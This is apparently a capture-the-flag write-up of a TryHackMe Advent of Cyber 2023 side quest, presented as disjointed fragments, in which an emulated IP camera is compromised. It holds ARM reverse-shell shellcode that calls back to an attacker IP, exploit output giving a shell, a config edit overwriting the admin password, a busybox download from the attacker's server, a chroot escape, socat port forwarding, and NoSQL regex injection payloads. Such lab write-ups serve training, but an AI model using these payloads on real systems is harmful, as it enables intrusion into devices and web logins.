hubertf's Writeup on TryHackMe's Advent of Cyber 2023 Side Quest 2: Snowy ARMageddon Hubert Feyrer, December 2023 |
"filename": "/assets/qr.map", "start": 1656484, "end": 1689911
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) 23/tcp open tcpwrapped syn-ack ttl 62 8080/tcp open http syn-ack ttl 62 Apache httpd 2.4.57 ((Debian)) 50628/tcp Trivision Wireless Streaming Video IP Network Camera NC-227WF HD 720P
SC += b'\x59\x1f\xa0\xe3\x01\x14\xa0\xe1\xa8\x10\x81\xe2\x01\x14\xa0\xe1\xc0\x10\x81\xe2\x04\x10\x2d\xe5' # 192.168.100.1
mov r1, #0x30 <= 48 lsl r1, r1, #8 add r1, r1, #0x94 <= 148 lsl r1, r1, #8 add r1, r1, #0x03 <= 3 add r1, r1, #0x06 + 6 = 9 lsl r1, r1, #8 add r1, r1, #0x05 <= 5 add r1, r1, #0x05 + 5 = 10 str r1, [sp, #-4]!
SC += b'\x30\x10\xa0\xe3\x01\x14\xa0\xe1\x94\x10\x81\xe2\x01\x14\xa0\xe1\x03\x10\x81\xe2\x06\x10\x81\xe2\x01\x14\xa0\xe1\x05\x10\x81\xe2\x05\x10\x81\xe2\x04\x10\x2d\xe5' # HF: 10.9.148.48
% python3 e2.py -> [*] Switching to interactive mode $
sed -i 's/password=admin/password=Y3**********us&/' /var/etc/umconfig.txt
$ ps | grep /root/test 6046 root 1804 S /bin/sh -c sleep 30; /root/test-eth0.sh >/dev/null 2 6050 root 1804 S /bin/sh -c sleep 40; /root/test-eth0.sh >/dev/null 2 6055 root 1804 S /bin/sh -c sleep 50; /root/test-eth0.sh >/dev/null 2 $ ls -la /root/test-eth0.sh ls: /root/test-eth0.sh: No such file or directory
$ chroot chroot: applet not found
kali @ kali% curl -o busybox-armv5l https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1083k 100 1083k 0 0 546k 0 0:00:01 0:00:01 --:--:-- 546k kali @ kali% python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
$ mkdir /hf $ cd /hf $ curl -o busybox http://10.9.148.48/busybox-armv5l % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1083k 100 1083k 0 0 962k 0 0:00:01 0:00:01 --:--:-- 963k $ chmod +x busybox $ /hf/busybox chroot /proc/1/root <-- chroot escape /bin/sh: can't access tty; job control turned off / # $ ls /root index.html test-eth0.sh / # $
/ # $ cat /root/test-eth0.sh #!/bin/sh status=`/sbin/ifconfig eth0 | grep '192.168.100.2'` address=`/sbin/ifconfig eth0 | grep 'UP'` if [ "$status" = "" ] || [ "$address" = "" ] then echo "`date`: eth0 down, bringing it up again" >> /tmp/eth0.log echo "`date`: eth0 down, bringing it up again" > /dev/console /sbin/ifconfig eth0 up /sbin/ifconfig eth0 192.168.100.2 netmask 255.255.255.0 up route add default gw 192.168.100.1 fi chroot /emux/TRI227WF/rootfs rm /bin/mount chroot /emux/TRI227WF/rootfs rm -rf /.emux url="http://192.168.100.2" if wget -T 2 "$url" 2>&1 | grep "error"; then echo "webs is down - restarting" chroot /emux/TRI227WF/rootfs webs & fi
/ # $ pkill webs ; socat -v -v tcp-listen:50628,fork,reuseaddr tcp:10.10.10.110:8080
username[$eq]=XXX&password[$regex]=X.*
username[$eq]=XXX&password[$regex]=X.*